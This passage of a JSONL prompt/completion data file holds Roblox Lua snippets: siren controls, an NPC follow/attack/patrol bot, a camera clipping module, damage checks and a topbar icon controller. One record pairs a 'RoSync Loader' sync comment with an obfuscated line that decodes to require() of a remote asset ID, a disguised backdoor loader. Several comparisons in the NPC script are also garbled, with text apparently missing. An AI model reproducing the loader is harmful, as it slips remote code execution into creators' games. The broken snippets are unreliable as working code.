Attack()\n\t\twait(3.6)\n\tscript.AttackScript.Disabled = false\n\tend\n\n\n\t\tfunction Cancel()\n\t\t\tscript.Parent.Assembly.Sound.Click:Play()\n\t\tscript.AttackScript.Disabled = true\n\t\tscript.Parent.Values.Fire.Value = false\n\t\tscript.Parent.Values.Mode.Value = 4\n\t\tscript.Parent.Parent.On.Value = false\n\t\tscript.Parent.Values.TimerOn.Value = false\nend\n\n\nfunction Timer()\nscript.Timer.Disabled = false\nsignallmp.Value = true\nend\n\n\t\tscript.Parent.Values.TimerOn.Changed:connect(function()\n\tif script.Parent.Values.TimerOn.Value == true then\nif script.Parent.Values.Mode.Value == 2 then\nAlert()\nTimer()\nelseif script.Parent.Values.Mode.Value == 3 then\nAttack()\nTimer()\nelseif script.Parent.Values.Mode.Value == 5 then\nFire()\nTimer()\nelseif script.Parent.Values.Mode.Value == 1 then\nTest()\nelseif script.Parent.Values.Mode.Value == 4 then\nscript.AttackScript.Disabled = true\nCancel()\n\t\t\t\tend\n\t\tend\nend)\n\n\nscript.Parent.Values.Mode.Changed:connect(function()\nif script.Parent.Values.Mode.Value == 4 then\nCancel()\nend\nend)\n\nscript.Parent.Values.Fire.Changed:connect(function()\nif script.Parent.Values.Fire.Value == true then\nscript.Parent.Parent.FederalSignalRCM3.IsOn.Value = true\nelse\nscript.Parent.Parent.FederalSignalRCM3.IsOn.Value = false\nend\nend)\n"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ PRE-CONNECTIONS ]-----------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\t\t\nRS:connect(function()\n\tlocal Forward = (Keys[\"w\"] or Keys[string.char(17)])\n\tlocal Backward = (Keys[\"s\"] or Keys[string.char(18)])\n\tlocal Right = (Keys[\"d\"] or Keys[string.char(19)])\n\tlocal Left = (Keys[\"a\"] or Keys[string.char(20)])\n\t\n\tif (Forward or Backward or Right or Left) then\n\t\tWalking, Idleing = true, false\n\telseif (not (Forward and Backward and Right and Left)) then\n\t\tWalking, Idleing = false, true\n\tend\nend)\n\nM2.KeyDown:connect(function(Key) Keys[Key] = true end)\nM2.KeyUp:connect(function(Key) Keys[Key] = false end)\n"} +{"prompt": "--[[ Last synced 12/13/2020 04:05 || RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5747857292)\n"} +{"prompt": "--(\"IsAHumanoid\")", "completion": "\npl=game.Players:GetPlayerFromCharacter(w.Part1.Parent)\nif pl~=nil then"} +{"prompt": "--[[\n\tReturns an array of `beforeEach` hooks in FIFO order\n]]", "completion": "\nfunction LifecycleHooks:getBeforeEachHooks()\n\tlocal key = TestEnum.NodeType.BeforeEach\n\tlocal hooks = {}\n\n\tfor _, level in ipairs(self._stack) do\n\t\tfor _, hook in ipairs(level[key]) do\n\t\t\ttable.insert(hooks, hook)\n\t\tend\n\tend\n\n\treturn hooks\nend\n"} +{"prompt": "-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------\n-----------------------------------------------------------------------------------------------------------------------", "completion": "\ndist=20\n\nfunction followany()\nfollowing=true\n\twhile following==true do\n\n\t\tlocal ch=game.Players:children()\n\t\tfor i=1, #ch do\n\t\t\tlocal l=game.Workspace:findFirstChild(ch[i].Name)\n\t\t\tif l~=nil then\n\t\t\t\tlocal s=l.Torso\n\t\t\t\tlocal p=l.Torso.Position\n\t\t\t\tlocal q=script.Parent.Torso.Position\n\t\t\t\tlocal d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )\n\t\t\t\tif smallest==nil then\n\t\t\t\t\tsmallest=d\n\t\t\t\t\ttarget=s\n\t\t\t\telseif d6*dist then return end\n\t\t\n\t\tscript.Parent.Humanoid:MoveTo(target.Position, target)\n\n\t\twait(0.5)\n\t\tfor i=1, 6 do\n\t\t\tif target.Parent.Humanoid.Health<1 then stopmoving() else\twait(0.5) end\n\t\tend\n\tend\nend\n\n\n\nfunction gohome()\n\tscript.Parent.Humanoid:MoveTo(Vector3.new(0,0,0), game.Workspace.Bases.Base)\nend\nfunction stopmoving()\n\tscript.Parent.Humanoid:MoveTo(script.Parent.Torso.Position, script.Parent.Torso)\nend\n\nfunction follow(name)\n\tfollowing=true\n\n\tlocal p=game.Workspace:findFirstChild(name)\n\tif p==nil then return end\n\twhile following==true do\t\n\t\tscript.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)\n\t\twait(0.5)\n\t\tfor i=1, 3 do\n\t\t\tif p.Humanoid.Health<1 then following=false; stopmoving() return end\n\t\t\twait(0.5)\n\t\tend\n\tend\nend\n\nfunction attack(name)\n\tif script.Parent:findFirstChild(\"Sword\")~=nil then\t\n\t\tfollowing=true\n\t\tlocal p=game.Workspace:findFirstChild(name)\n\t\tif p==nil then return end\n\t\twhile following==true do\n\t\t\tscript.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso)\n\t\t\twait(0.5)\n\t\t\tfor i=1, 3 do\n\t\t\t\tif p.Humanoid.Health<1 then following=false; stopmoving() return end\n\t\t\t\tlocal l=p.Torso.Position\n\t\t\t\tlocal q=script.Parent.Torso.Position\n\t\t\t\tlocal d=math.sqrt( ((l.x-q.x)^2)+((l.y-q.y)^2)+((l.z-q.z)^2) )\n\t\t\t\tif d<10 then\n\t\t\t\t\tscript.Parent.Humanoid:MoveTo(p.Torso.Position, p.Torso); slash()\n\t\t\t\t\tif (q.y-l.y)>3 and (q.y-l.y)<7 then\n\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\twait(1)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction attackany()\nif script.Parent:findFirstChild(\"Sword\")~=nil then\t\n\n\tfollowing=true\n\t\twhile following==true do\n\n\t\t\tlocal ch=game.Players:children()\n\t\t\tfor i=1, #ch do\n\t\t\t\tlocal l=game.Workspace:findFirstChild(ch[i].Name)\n\t\t\t\tif l~=nil then\n\t\t\t\t\tlocal s=l.Torso\n\t\t\t\t\tlocal p=l.Torso.Position\n\t\t\t\t\tlocal q=script.Parent.Torso.Position\n\t\t\t\t\tlocal d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )\n\t\t\t\t\tif smallest==nil then\n\t\t\t\t\t\tsmallest=d\n\t\t\t\t\t\ttarget=s\n\t\t\t\t\telseif d6*dist then return end\n\t\t\t\n\t\t\tscript.Parent.Humanoid:MoveTo(target.Position, target)\n\n\t\t\tif smallest<10 then\n\t\t\t\tslash()\n\t\t\tend\n\t\t\tif target.Parent==nil then stopmoving() return end\n\t\t\twait(0.5)\n\t\t\tfor i=1, 3 do\n\t\t\t\tif target.Parent.Humanoid.Health<1 then \n\t\t\t\t\tstopmoving() \n\t\t\t\telse\n\t\t\t\t\tlocal p=target.Position\n\t\t\t\t\tlocal q=script.Parent.Torso.Position\n\t\t\t\t\tlocal d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )\n\t\t\t\t\tif d<10 then\n\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(target.Position, target); slash()\n\t\t\t\t\t\tif (q.y-p.y)>3 and (q.y-p.y)<7 then\n\t\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\twait(1)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\n\nfunction patrol()\n\tif points==nil then\n\t\tpoints=0\n\t\tif game.Workspace:findFirstChild(\"pp1\")~=nil then\n\t\tpp1=game.Workspace:findFirstChild(\"pp1\")\n\t\tlocal points=points+1\n\t\t\tif game.Workspace:findFirstChild(\"pp2\")~=nil then\n\t\t\tpp2=game.Workspace:findFirstChild(\"pp2\")\n\t\tlocal points=points+1\n\t\t\t\tif game.Workspace:findFirstChild(\"pp3\")~=nil then\n\t\t\t\tpp3=game.Workspace:findFirstChild(\"pp3\")\n\t\tlocal points=points+1\n\t\t\t\t\tif game.Workspace:findFirstChild(\"pp4\")~=nil then\n\t\t\t\t\tpp4=game.Workspace:findFirstChild(\"pp4\")\n\t\tlocal points=points+1\n\t\t\t\t\t\tif game.Workspace:findFirstChild(\"pp5\")~=nil then\n\t\t\t\t\t\tpp5=game.Workspace:findFirstChild(\"pp5\")\n\t\tlocal points=points+1\n\t\t\t\t\t\t\tif game.Workspace:findFirstChild(\"pp6\")~=nil then\n\t\t\t\t\t\t\tpp6=game.Workspace:findFirstChild(\"pp6\")\n\t\tlocal points=points+1\n\t\t\t\t\t\t\t\tif game.Workspace:findFirstChild(\"pp7\")~=nil then\n\t\t\t\t\t\t\t\tpp7=game.Workspace:findFirstChild(\"pp7\")\n\t\tlocal points=points+1\n\t\t\t\t\t\t\t\t\tif game.Workspace:findFirstChild(\"pp8\")~=nil then\n\t\t\t\t\t\t\t\t\tpp8=game.Workspace:findFirstChild(\"pp8\")\n\t\tlocal points=points+1\n\t\t\t\t\t\t\t\t\t\tif game.Workspace:findFirstChild(\"pp9\")~=nil then\n\t\t\t\t\t\t\t\t\t\tpp9=game.Workspace:findFirstChild(\"pp9\")\n\t\tlocal points=points+1\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\n\tif points<1 then return end\n\tpatrolling=true\n\tlocal time=2\n\tif points==1 then return end\n\tif points>1 then\n\t\twhile patrolling==true do\n\t\t\tscript.Parent.Humanoid:MoveTo(pp1.Position, pp1)\n\t\t\twait(time)\n\t\t\tscript.Parent.Humanoid:MoveTo(pp2.Position, pp2)\n\t\t\twait(time)\n\t\t\tif points>2 then\n\t\t\t\tscript.Parent.Humanoid:MoveTo(pp3.Position, pp3)\n\t\t\t\twait(time)\n\t\t\t\tif points>3 then\n\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp4.Position, pp4)\n\t\t\t\t\twait(time)\n\t\t\t\t\tif points>4 then\n\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp5.Position, pp5)\n\t\t\t\t\t\twait(time)\n\t\t\t\t\t\tif points>5 then\n\t\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp6.Position, pp6)\n\t\t\t\t\t\t\twait(time)\n\t\t\t\t\t\t\tif points>6 then\n\t\t\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp7.Position, pp7)\n\t\t\t\t\t\t\t\twait(time)\n\t\t\t\t\t\t\t\tif points>7 then\n\t\t\t\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp8.Position, pp8)\n\t\t\t\t\t\t\t\t\twait(time)\n\t\t\t\t\t\t\t\t\tif points>8 then\n\t\t\t\t\t\t\t\t\t\tscript.Parent.Humanoid:MoveTo(pp9.Position, pp9)\n\t\t\t\t\t\t\t\t\t\twait(time)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\n\nfunction goto(pos,part)\nwhile true do\nend\nend\n\n\nfunction slash()\n\tfor i=1, 3 do\n\t\twait(.3)\n\t\tRightShoulder.MaxVelocity = 2\n\t\tLeftShoulder.MaxVelocity = 1\n\t\tRightShoulder.DesiredAngle = -2.14\n\t\tLeftShoulder.DesiredAngle = 0\n\t\tRightHip.DesiredAngle = 0\n\t\tLeftHip.DesiredAngle = 0\n\t\twait(.2)\n\t\tRightShoulder.MaxVelocity = 2\n\t\tLeftShoulder.MaxVelocity = 1\n\t\tRightShoulder.DesiredAngle = 0\n\t\tLeftShoulder.DesiredAngle = 0\n\t\tRightHip.DesiredAngle = 0\n\t\tLeftHip.DesiredAngle = 0\n\tend\nend\n\nfunction defence()\n\tproxkill=true\n\twhile proxkill==true do\n\t\tlocal ch=game.Players:children()\n\t\tfor i=1, #ch do\n\t\t\tlocal p=game.Workspace:findFirstChild(ch[i].Name)\n\t\t\tif p~=nil then\n\t\t\t\tlocal p=p.Torso.Position\n\t\t\t\tlocal q=script.Parent.Torso.Position\n\t\t\t\tlocal d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )\n\t\t\t\tif d8 then\n\t\t\t\t\tlocal ex=Instance.new(\"Explosion\")\n\t\t\t\t\tex.Position=p\n\t\t\t\t\tex.Parent=game.Workspace\n\t\t\t\tend\n\t\t\tend\t\t\n\t\tend\n\t\twait(1)\n\tend\nend\n\n\n\n"} +{"prompt": "--------------------------------------------------------------------------------\n-- Popper.lua\n-- Prevents your camera from clipping through walls.\n--------------------------------------------------------------------------------", "completion": "\n\nlocal Players = game:GetService(\"Players\")\n\nlocal CollectionService = game:GetService(\"CollectionService\")\n\nlocal camera = game.Workspace.CurrentCamera\n\nlocal min = math.min\nlocal tan = math.tan\nlocal rad = math.rad\nlocal inf = math.huge\nlocal ray = Ray.new\n\nlocal function getTotalTransparency(part)\n\treturn 1 - (1 - part.Transparency)*(1 - part.LocalTransparencyModifier)\nend\n\nlocal function eraseFromEnd(t, toSize)\n\tfor i = #t, toSize + 1, -1 do\n\t\tt[i] = nil\n\tend\nend\n\nlocal nearPlaneZ, projX, projY do\n\tlocal function updateProjection()\n\t\tlocal fov = rad(camera.FieldOfView)\n\t\tlocal view = camera.ViewportSize\n\t\tlocal ar = view.X/view.Y\n\n\t\tprojY = 2*tan(fov/2)\n\t\tprojX = ar*projY\n\tend\n\n\tcamera:GetPropertyChangedSignal(\"FieldOfView\"):Connect(updateProjection)\n\tcamera:GetPropertyChangedSignal(\"ViewportSize\"):Connect(updateProjection)\n\n\tupdateProjection()\n\n\tnearPlaneZ = camera.NearPlaneZ\n\tcamera:GetPropertyChangedSignal(\"NearPlaneZ\"):Connect(function()\n\t\tnearPlaneZ = camera.NearPlaneZ\n\tend)\nend\n\nlocal blacklist = {} do\n\tlocal charMap = {}\n\n\tlocal function refreshIgnoreList()\n\t\tlocal n = 1\n\t\tblacklist = {}\n\t\tfor _, character in pairs(charMap) do\n\t\t\tblacklist[n] = character\n\t\t\tn = n + 1\n\t\tend\n\tend\n\n\tlocal function playerAdded(player)\n\t\tlocal function characterAdded(character)\n\t\t\tcharMap[player] = character\n\t\t\trefreshIgnoreList()\n\t\tend\n\t\tlocal function characterRemoving()\n\t\t\tcharMap[player] = nil\n\t\t\trefreshIgnoreList()\n\t\tend\n\n\t\tplayer.CharacterAdded:Connect(characterAdded)\n\t\tplayer.CharacterRemoving:Connect(characterRemoving)\n\t\tif player.Character then\n\t\t\tcharacterAdded(player.Character)\n\t\tend\n\tend\n\n\tlocal function playerRemoving(player)\n\t\tcharMap[player] = nil\n\t\trefreshIgnoreList()\n\tend\n\n\tPlayers.PlayerAdded:Connect(playerAdded)\n\tPlayers.PlayerRemoving:Connect(playerRemoving)\n\n\tfor _, player in ipairs(Players:GetPlayers()) do\n\t\tplayerAdded(player)\n\tend\n\trefreshIgnoreList()\nend\n\nCollectionService:GetInstanceAddedSignal(\"IgnoreCamera\"):Connect(function(obj)\n\ttable.insert(blacklist, obj)\nend)\n"} +{"prompt": "--Returns whether damage can be done to a humanoid.", "completion": "\nfunction PlayerDamager:CanDamageHumanoid(DamagingPlayer,Humanoid)\n\tlocal HitPlayer = game.Players:GetPlayerFromCharacter(Humanoid.Parent)\n\tif HitPlayer and DamagingPlayer ~= HitPlayer and HitPlayer.TeamColor == DamagingPlayer.TeamColor and not HitPlayer.Neutral then\n\t\treturn false\n\tend\n\t\n\treturn true\nend\n"} +{"prompt": "--// Functions", "completion": "\nfunction Weld(L_38_arg1, L_39_arg2, L_40_arg3)\n\tlocal L_41_ = Instance.new(\"Motor6D\", L_38_arg1)\n\tL_41_.Part0 = L_38_arg1\n\tL_41_.Part1 = L_39_arg2\n\tL_41_.Name = L_38_arg1.Name\n\tL_41_.C0 = L_40_arg3 or L_38_arg1.CFrame:inverse() * L_39_arg2.CFrame\n\treturn L_41_\nend\n"} +{"prompt": "-- This is responsible for positioning the topbar icons", "completion": "\nlocal requestedTopbarUpdate = false\nfunction IconController.updateTopbar()\n\tlocal function getIncrement(otherIcon, alignment)\n\t\t--local container = otherIcon.instances.iconContainer\n\t\t--local sizeX = container.Size.X.Offset\n\t\tlocal iconSize = otherIcon:get(\"iconSize\", otherIcon:getIconState()) or UDim2.new(0, 32, 0, 32)\n\t\tlocal sizeX = iconSize.X.Offset\n\t\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\t\tlocal iconWidthAndGap = (sizeX + alignmentGap)\n\t\tlocal increment = iconWidthAndGap\n\t\tlocal preOffset = 0\n\t\tif otherIcon._parentIcon == nil then\n\t\t\tlocal extendLeft, extendRight, additionalRight = IconController.getMenuOffset(otherIcon)\n\t\t\tpreOffset += extendLeft\n\t\t\tincrement += extendRight + additionalRight\n\t\tend\n\t\treturn increment, preOffset\n\tend\n\tif topbarUpdating then -- This prevents the topbar updating and shifting icons more than it needs to\n\t\trequestedTopbarUpdate = true\n\t\treturn false\n\tend\n\ttask.defer(function()\n\t\ttopbarUpdating = true\n\t\trunService.Heartbeat:Wait()\n\t\ttopbarUpdating = false\n\t\t\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\talignmentInfo.records = {}\n\t\tend\n\n\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\tif IconController.canShowIconOnTopbar(otherIcon) then\n\t\t\t\tlocal alignment = otherIcon:get(\"alignment\")\n\t\t\t\ttable.insert(alignmentDetails[alignment].records, otherIcon)\n\t\t\tend\n\t\tend\n\t\tlocal viewportSize = workspace.CurrentCamera.ViewportSize\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal records = alignmentInfo.records\n\t\t\tif #records > 1 then\n\t\t\t\tif alignmentInfo.reverseSort then\n\t\t\t\t\ttable.sort(records, function(a,b) return a:get(\"order\") > b:get(\"order\") end)\n\t\t\t\telse\n\t\t\t\t\ttable.sort(records, function(a,b) return a:get(\"order\") < b:get(\"order\") end)\n\t\t\t\tend\n\t\t\tend\n\t\t\tlocal totalIconX = 0\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment = getIncrement(otherIcon, alignment)\n\t\t\t\ttotalIconX = totalIconX + increment\n\t\t\tend\n\t\t\tlocal offsetX = alignmentInfo.getStartOffset(totalIconX, alignment)\n\t\t\tlocal preOffsetX = offsetX\n\t\t\tlocal containerX = TopbarPlusGui.TopbarContainer.AbsoluteSize.X\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal newAbsoluteX = alignmentInfo.startScale*containerX + preOffsetX+preOffset\n\t\t\t\tpreOffsetX = preOffsetX + increment\n\t\t\tend\n\t\t\tfor i, otherIcon in pairs(records) do\n\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\tlocal increment, preOffset = getIncrement(otherIcon, alignment)\n\t\t\t\tlocal topPadding = otherIcon.topPadding\n\t\t\t\tlocal newPositon = UDim2.new(alignmentInfo.startScale, offsetX+preOffset, topPadding.Scale, topPadding.Offset)\n\t\t\t\tlocal isAnOverflowIcon = string.match(otherIcon.name, \"_overflowIcon-\")\n\t\t\t\tlocal repositionInfo = otherIcon:get(\"repositionInfo\")\n\t\t\t\tif repositionInfo then\n\t\t\t\t\ttweenService:Create(container, repositionInfo, {Position = newPositon}):Play()\n\t\t\t\telse\n\t\t\t\t\tcontainer.Position = newPositon\n\t\t\t\tend\n\t\t\t\toffsetX = offsetX + increment\n\t\t\t\totherIcon.targetPosition = UDim2.new(0, (newPositon.X.Scale*viewportSize.X) + newPositon.X.Offset, 0, (newPositon.Y.Scale*viewportSize.Y) + newPositon.Y.Offset)\n\t\t\tend\n\t\tend\n\n\t\t-- OVERFLOW HANDLER\n\t\t--------\n\t\tlocal START_LEEWAY = 10 -- The additional offset where the end icon will be converted to ... without an apparant change in position\n\t\tlocal function getBoundaryX(iconToCheck, side, gap)\n\t\t\tlocal additionalGap = gap or 0\n\t\t\tlocal currentSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState())\n\t\t\tlocal sizeX = currentSize.X.Offset\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal boundaryXOffset = (side == \"left\" and (-additionalGap-extendLeft)) or (side == \"right\" and sizeX+additionalGap+extendRight)\n\t\t\tlocal boundaryX = iconToCheck.targetPosition.X.Offset + boundaryXOffset\n\t\t\treturn boundaryX\n\t\tend\n\t\tlocal function getSizeX(iconToCheck, usePrevious)\n\t\t\tlocal currentSize, previousSize = iconToCheck:get(\"iconSize\", iconToCheck:getIconState(), \"beforeDropdown\")\n\t\t\tlocal hoveringSize = iconToCheck:get(\"iconSize\", \"hovering\")\n\t\t\tif iconToCheck.wasHoveringBeforeOverflow and previousSize and hoveringSize and hoveringSize.X.Offset > previousSize.X.Offset then\n\t\t\t\t-- This prevents hovering icons flicking back and forth, demonstrated at thread/1017485/191.\n\t\t\t\tpreviousSize = hoveringSize\n\t\t\tend\n\t\t\tlocal newSize = (usePrevious and previousSize) or currentSize\n\t\t\tlocal extendLeft, extendRight = IconController.getMenuOffset(iconToCheck)\n\t\t\tlocal sizeX = newSize.X.Offset + extendLeft + extendRight\n\t\t\treturn sizeX\n\t\tend\n\n\t\tfor alignment, alignmentInfo in pairs(alignmentDetails) do\n\t\t\tlocal overflowIcon = alignmentInfo.overflowIcon\n\t\t\tif overflowIcon then\n\t\t\t\tlocal alignmentGap = IconController[alignment..\"Gap\"]\n\t\t\t\tlocal oppositeAlignment = (alignment == \"left\" and \"right\") or \"left\"\n\t\t\t\tlocal oppositeAlignmentInfo = alignmentDetails[oppositeAlignment]\n\t\t\t\tlocal oppositeOverflowIcon = IconController.getIcon(\"_overflowIcon-\"..oppositeAlignment)\n\t\t\t\t\n\t\t\t\t-- This determines whether any icons (from opposite or mid alignment) are overlapping with this alignment\n\t\t\t\tlocal overflowBoundaryX = getBoundaryX(overflowIcon, alignment)\n\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\toverflowBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment, alignmentGap)\n\t\t\t\tend\n\t\t\t\tlocal function doesExceed(givenBoundaryX)\n\t\t\t\t\tlocal exceeds = (alignment == \"left\" and givenBoundaryX < overflowBoundaryX) or (alignment == \"right\" and givenBoundaryX > overflowBoundaryX)\n\t\t\t\t\treturn exceeds\n\t\t\t\tend\n\t\t\t\tlocal alignmentOffset = oppositeAlignmentInfo.getOffset()\n\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\talignmentOffset += START_LEEWAY\n\t\t\t\tend\n\t\t\t\tlocal alignmentBorderX = (alignment == \"left\" and viewportSize.X - alignmentOffset) or (alignment == \"right\" and alignmentOffset)\n\t\t\t\tlocal closestBoundaryX = alignmentBorderX\n\t\t\t\tlocal exceededCriticalBoundary = doesExceed(closestBoundaryX)\n\t\t\t\tlocal function checkBoundaryExceeded(recordToCheck)\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons do\n\t\t\t\t\t\tlocal endIcon = recordToCheck[totalIcons+1 - i]\n\t\t\t\t\t\tif IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal isAnOverflowIcon = string.match(endIcon.name, \"_overflowIcon-\")\n\t\t\t\t\t\t\tif isAnOverflowIcon and totalIcons ~= 1 then\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telseif isAnOverflowIcon and not endIcon.enabled then\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal additionalMyX = 0\n\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalMyX = START_LEEWAY\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryX = getBoundaryX(endIcon, alignment, additionalMyX)\n\t\t\t\t\t\t\tlocal isNowClosest = (alignment == \"left\" and myBoundaryX < closestBoundaryX) or (alignment == \"right\" and myBoundaryX > closestBoundaryX)\n\t\t\t\t\t\t\tif isNowClosest then\n\t\t\t\t\t\t\t\tclosestBoundaryX = myBoundaryX\n\t\t\t\t\t\t\t\tif doesExceed(myBoundaryX) then\n\t\t\t\t\t\t\t\t\texceededCriticalBoundary = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails[oppositeAlignment].records)\n\t\t\t\tcheckBoundaryExceeded(alignmentDetails.mid.records)\n\n\t\t\t\t-- This determines which icons to give to the overflow if an overlap is present\n\t\t\t\tif exceededCriticalBoundary then\n\t\t\t\t\tlocal recordToCheck = alignmentInfo.records\n\t\t\t\t\tlocal totalIcons = #recordToCheck\n\t\t\t\t\tfor i = 1, totalIcons do\n\t\t\t\t\t\tlocal endIcon = (alignment == \"left\" and recordToCheck[totalIcons+1 - i]) or (alignment == \"right\" and recordToCheck[i])\n\t\t\t\t\t\tif endIcon ~= overflowIcon and IconController.canShowIconOnTopbar(endIcon) then\n\t\t\t\t\t\t\tlocal additionalGap = alignmentGap\n\t\t\t\t\t\t\tlocal overflowIconSizeX = overflowIcon:get(\"iconSize\", overflowIcon:getIconState()).X.Offset\n\t\t\t\t\t\t\tif overflowIcon.enabled then\n\t\t\t\t\t\t\t\tadditionalGap += alignmentGap + overflowIconSizeX\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal myBoundaryXPlusGap = getBoundaryX(endIcon, oppositeAlignment, additionalGap)\n\t\t\t\t\t\t\tlocal exceeds = (alignment == \"left\" and myBoundaryXPlusGap >= closestBoundaryX) or (alignment == \"right\" and myBoundaryXPlusGap <= closestBoundaryX)\n\t\t\t\t\t\t\tif exceeds then\n\t\t\t\t\t\t\t\tif not overflowIcon.enabled then\n\t\t\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\t\t\tlocal appearXAdditional = (alignment == \"left\" and -overflowContainer.Size.X.Offset) or 0\n\t\t\t\t\t\t\t\t\tlocal appearX = getBoundaryX(endIcon, oppositeAlignment, appearXAdditional)\n\t\t\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, appearX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\t\t\toverflowIcon:setEnabled(true)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif #endIcon.dropdownIcons > 0 then\n\t\t\t\t\t\t\t\t\tendIcon._overflowConvertedToMenu = true\n\t\t\t\t\t\t\t\t\tlocal wasSelected = endIcon.isSelected\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) do\n\t\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tfor _, dIcon in pairs(endIcon.dropdownIcons) do\n\t\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tendIcon:setMenu(iconsToConvert)\n\t\t\t\t\t\t\t\t\tif wasSelected and overflowIcon.isSelected then\n\t\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif endIcon.hovering then\n\t\t\t\t\t\t\t\t\tendIcon.wasHoveringBeforeOverflow = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tendIcon:join(overflowIcon, \"dropdown\")\n\t\t\t\t\t\t\t\tif #endIcon.menuIcons > 0 and endIcon.menuOpen then\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\toverflowIcon:select()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\t\n\t\t\t\t\t-- This checks to see if the lowest/highest (depending on left/right) ordered overlapping icon is no longer overlapping, removes from the dropdown, and repeats if valid\n\t\t\t\t\tlocal winningOrder, winningOverlappedIcon\n\t\t\t\t\tlocal totalOverlappingIcons = #overflowIcon.dropdownIcons\n\t\t\t\t\tif not (oppositeOverflowIcon and oppositeOverflowIcon.enabled and #alignmentInfo.records == 1 and #oppositeAlignmentInfo.records ~= 1) 